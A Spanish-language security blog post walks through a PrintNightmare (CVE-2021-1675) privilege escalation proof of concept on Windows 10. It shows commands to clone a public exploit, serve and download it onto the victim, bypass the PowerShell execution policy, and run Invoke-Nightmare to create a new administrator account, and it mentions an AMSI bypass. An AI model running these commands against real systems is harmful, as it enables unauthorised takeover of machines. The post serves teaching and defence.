Poc Printnightmare. Escalada de privilegios
Disclamer: Todas las pruebas, ejemplos, códigos y/o explicaciones que aquí se exponen tienen un ámbito didáctico. Se rechaza cualquier actividad ilícita generada por lo expuesto en este escrito.
En
anteriores entradas hablábamos de la vulnerabilidad en el servicio de Windows “Print Spooler”, denominada
Printnightmare. En este post traemos una prueba de concepto sobre esta vulnerabilidad que ha día de hoy puede estar activa.Para la PoC de Printnightmare se utilizará una máquina víctima Windows 10 21H2 (19044.2130). El objetivo será realizar una escalada de privilegios a admin en un entorno de postexplotación. Es decir, partimos que tenemos acceso a la máquina con un usuario estandar.
Entorno y vulnerabilidad
Como se comentaba, partimos que tenemos acceso al sistema con una cuenta estándar. Esto lo vemos en las siguientes imágenes donde el usuario pertenece al nivel de integridad medio y no está dentro del grupo de administradores.
El objetivo principal será elevar los privilegios a SYSTEM. Sin entrar mucho en detalles técnicos, esto se conseguirá mediante la inclusión de una DLL maliciosa como controlador de impresora. Normalmente, esta acción no podría realizarse mediante un usuario estándar, pero un fallo de la programación del protocolo MS-RPRN, permite la instalación de controladores a usuarios fuera de grupos de Administradores u Operadores de Impresión.
Prueba de concepto
Existen varias formas de realizar la explotación de
Printnightmare. En este caso se explora la vía de Powershell basada en el CVE-2021-1675.Para su ejecución necesitaremos, en primer lugar, descargar en la máquina atacante los archivos necesarios:
# git clone https://github.com/calebstewart/CVE-2021-1675.git
Una vez descargados los archivos necesarios, montamos un sencillo servidor web y descargamos los archivos en la máquina víctima.
# cd CVE-2021-1675
# python3 -m http.server 80
PS > wget http://192.168.200.203/CVE-2021-1675.ps1 -O \Users\Public\CVE-2021- 1675.ps1
PS > cd C:\Users\Public
En este punto, desde la máquina Windows, tenemos que establecer en “bypass” la política de ejecución de código. Seguidamente, importamos el módulo descargado:
> powershell -ExecutionPolicy bypass
PS > Import-Module .\CVE-2021-1675.ps1
Aquí se pueden encontrar varios problemas con la protección AMSI del equipo Windows, ya que detecta que el código es malicioso. Por ello, tenemos que realizar un paso intermedio saltando la protección AMSI.
Existen varias técnicas para hacer saltar la protección, en este punto se utilizará un bypass mediante Reflection que, previamente, ha sido “troceado” en varias partes y ejecutado por separado para que no lo detectara como malicioso.
Una vez hecho esto, se procede a ejecutar nuevamente el módulo de
Printnighmare, donde, si todo ha ido bien, lo hará sin problemas 🙂Ahora, se llama al módulo importado. Su ejecución creará un nuevo usuario dentro de la máquina con privilegios de SYSTEM aprovechando la vulnerabilidad
Printnighmare. PS > Invoke-Nightmare -NewUser “SysBeards” -NewPassword “Temporal2023!” -DriverName “PrivilegeElevation”
Si se realiza ahora una consulta sobre el grupo Administradores, se observa que tenemos el usuario recién creado!
Conclusiones
Como se ha visto, esta vulnerabilidad puede ser ejecutada en un sistema relativamente reciente, y puede suponer una manera de escalar privilegios a SYSTEM. En
anteriores entradas veíamos como protegernos de forma activa.
Una vez que se ha ejecutado la escalada de privilegios, implementar mecanismos de persistencia resulta trivial, por lo que es importante protegerse previamente.
Comentadnos sin miedo que os parece esta escala de privilegios 🙂